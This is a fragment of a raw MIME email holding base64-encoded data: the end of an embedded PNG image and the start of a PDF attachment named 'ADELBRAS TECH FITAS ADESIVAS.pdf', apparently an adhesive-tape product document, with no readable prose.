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 --=_dd6510329bb9686b11eec2e762789fc0-- --=_3a92aaddb69d7a07e935e5611e87ee7f-- --=_2f792208450730cc232fcad167e78c30 Content-Transfer-Encoding: base64 Content-Type: application/pdf; name="ADELBRAS TECH FITAS ADESIVAS.pdf" Content-Disposition: attachment; filename="ADELBRAS TECH FITAS ADESIVAS.pdf"; size=1344106 JVBERi0xLjUNJeLjz9MNCjIyNzMgMCBvYmoNPDwvTGluZWFyaXplZCAxL0wgMTM0NDEwNi9PIDIy NzUvRSAxMTg5MzQvTiAxOS9UIDEzNDI5ODIvSCBbIDU4NSA0MjhdPj4NZW5kb2JqDSAgICAgICAg DQoyMzA0IDAgb2JqDTw8L0RlY29kZVBhcm1zPDwvQ29sdW1ucyA1L1ByZWRpY3RvciAxMj4+L0Zp bHRlci9GbGF0ZURlY29kZS9JRFs8NTNEMUNEQTJCREE5Mzg2NTA4RTdGODM1RkNDRkFGOTA+PEU5 RUU3NkI2OTY1NkNENDBCOEE3NkQ1OTRGNjdCMTNFPl0vSW5kZXhbMjI3MyA3MV0vSW5mbyAyMjcy IDAgUi9MZW5ndGggMTM0L1ByZXYgMTM0Mjk4My9Sb290IDIyNzQgMCBSL1NpemUgMjM0NC9UeXBl L1hSZWYvV1sxIDMgMV0+PnN0cmVhbQ0KaN5iYmRgEGBgYmBgfgoiGeNBJFMviGT1AZHst0Ek2xIw ezOY/A4m14BIlsdgvW5gNefA4tpgc8DiGhJg0/LAImZg9U8RbMZKEKnpj1DDkALWtRQsCxJnjGsD sY0ugEgLYxBprwiWdQCS/w3lGJgYGTjKwHoZGIct+Z/hV/xtgAADAKmTFtsNCmVuZHN0cmVhbQ1l bmRvYmoNc3RhcnR4cmVmDQowDQolJUVPRg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIA0KMjM0MyAwIG9iag08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvSSA0NjkvTGVu Z3RoIDM0NC9TIDM1ND4+c3RyZWFtDQpo3mJgYGBhYGBawcDKwBA3mUGIAQGEgDJsQMxx6sq0lV5B Eyat9GJgiM4+clPhdIVHij7/4X8Pfs6J/iwoc6SxyPtFu9eOaQKXlxRkcnPKTebc/YCBwXs3CHTv ZhQAGibTrVCyWan1+5qGItkuoTO1rxVk2pNaNstXnWBXvLFQ5/i9TYwnyjS8DYlX8PDExhvcht8X tZ18JmepuujksyUVT6Z1vdo085ncrsWTonSWVbavW/FkWrdOWgcDA0dHRwMDQ0cHSUwXl4iOjra0 jo5mYwuwTAecSUIwAMEtBuEVGkBaFoh1wSIpDPwsQfwLjHekMJx8uOSwCks98xHJFXoW7F++NTQ1 ZDI3Mi5hCHWPEFjAwHnBofSeUtKN+7ZvX/AekG6YcDWVYRHzmalHmF8wTXq9QJmRs9HQ7xjrjMcW zBd2OMAj7w2DSLUpkGYEIjWAAAMAzZW2cA0KZW5kc3RyZWFtDWVuZG9iag0yMjc0IDAgb2JqDTw8 L01ldGFkYXRhIDIzNCAwIFIvUGFnZXMgMjI3MSAwIFIvVHlwZS9DYXRhbG9nL1ZpZXdlclByZWZl cmVuY2VzIDIzMDUgMCBSPj4NZW5kb2JqDTIyNzUgMCBvYmoNPDwvQXJ0Qm94WzAgMCA1OTUuMjc2 IDg0MS44OV0vQmxlZWRCb3hbMCAwIDU5NS4yNzYgODQxLjg5XS9Db250ZW50c1syMjc2IDAgUiAy Mjc3IDAgUiAyMjc4IDAgUiAyMjc5IDAgUiAyMjgwIDAgUiAyMjgxIDAgUiAyMjg0IDAgUiAyMjg1 IDAgUl0vQ3JvcEJveFswIDAgNTk1LjI3NiA4NDEuODldL0dyb3VwIDIzNDIgMCBSL01lZGlhQm94 WzAgMCA1OTUuMjc2IDg0MS44OV0vUGFyZW50IDIyNzEgMCBSL1Jlc291cmNlczw8L0V4dEdTdGF0 ZTw8L0dzMCAyMzA2IDAgUi9HczEgMjMwNyAwIFIvR3MxMCAyMzA4IDAgUi9HczExIDIzMDkgMCBS L0dzMTIgMjMxMyAwIFIvR3MxMyAyMzE0IDAgUi9HczE0IDIzMTUgMCBSL0dzMiAyMzE2IDAgUi9H czMgMjMxNyAwIFIvR3M0IDIzMTggMCBSL0dzNSAyMzE5IDAgUi9HczYgMjMyMCAwIFIvR3M3IDIz MjEgMCBSL0dzOCAyMzI1IDAgUi9HczkgMjMyNiAwIFI+Pi9Gb250PDwvRjAgMjMzMSAwIFIvRjEg MjMzNSAwIFIvRjIgMjMzOSAwIFI+Pi9YT2JqZWN0PDwvWDAgMjI5OCAwIFIvWDEgMjI5OSAwIFIv WDIgMjMwMCAwIFIvWDMgMjMwMSAwIFIvWDQgMjMwMiAwIFIvWDUgMjMwMyAwIFI+Pj4+L1JvdGF0 ZSAwL1RyaW1Cb3hbMCAwIDU5NS4yNzYgODQxLjg5XS9UeXBlL1BhZ2U+Pg1lbmRvYmoNMjI3NiAw IG9iag08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDEwMjc+PnN0cmVhbQ0KSInUV8tuI0cM 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 